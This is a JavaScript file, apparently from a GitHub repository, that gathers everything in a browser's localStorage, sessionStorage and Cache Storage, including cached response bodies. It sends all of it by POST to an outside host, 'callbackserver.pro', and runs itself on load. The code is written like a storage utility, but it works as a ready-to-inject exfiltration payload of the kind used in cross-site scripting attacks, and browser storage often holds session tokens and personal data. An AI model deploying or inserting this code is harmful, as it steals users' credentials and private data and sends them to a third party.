-
Notifications
You must be signed in to change notification settings - Fork 0
/
POST-entire-storage-api.js
69 lines (62 loc) · 2.43 KB
/
POST-entire-storage-api.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
async function gatherAndPostStorageData() {
// 1. Retrieve localStorage data
const localStorageData = {};
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
localStorageData[key] = localStorage.getItem(key);
}
// 2. Retrieve sessionStorage data
const sessionStorageData = {};
for (let i = 0; i < sessionStorage.length; i++) {
const key = sessionStorage.key(i);
sessionStorageData[key] = sessionStorage.getItem(key);
}
// 3. Retrieve Cache Storage data (optional, depending on your app's use of Cache Storage)
const cacheStorageData = {};
if ('caches' in window) {
const cacheNames = await caches.keys();
for (const cacheName of cacheNames) {
const cache = await caches.open(cacheName);
const requests = await cache.keys();
cacheStorageData[cacheName] = [];
for (const request of requests) {
const response = await cache.match(request);
const responseBody = await response.text(); // Get the body of the cached response
cacheStorageData[cacheName].push({
url: request.url,
response: responseBody
});
}
}
}
// 4. IndexedDB data (more complex, optional, and depends on your app)
const indexedDBData = {};
if (window.indexedDB) {
// IndexedDB logic goes here, but this would be application-specific
// Usually, you need to open each IndexedDB database, iterate over object stores, and retrieve data
}
// 5. Combine all data into one object
const allStorageData = {
localStorage: localStorageData,
sessionStorage: sessionStorageData,
cacheStorage: cacheStorageData,
indexedDB: indexedDBData // You would need to implement actual IndexedDB retrieval logic here
};
// 6. POST the data to your server
fetch('https://callbackserver.pro', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(allStorageData) // Send the collected data
})
.then(response => response.json())
.then(data => {
console.log('Success:', data); // Handle the response from the server
})
.catch((error) => {
console.error('Error:', error); // Handle any errors
});
}
// Call the function
gatherAndPostStorageData();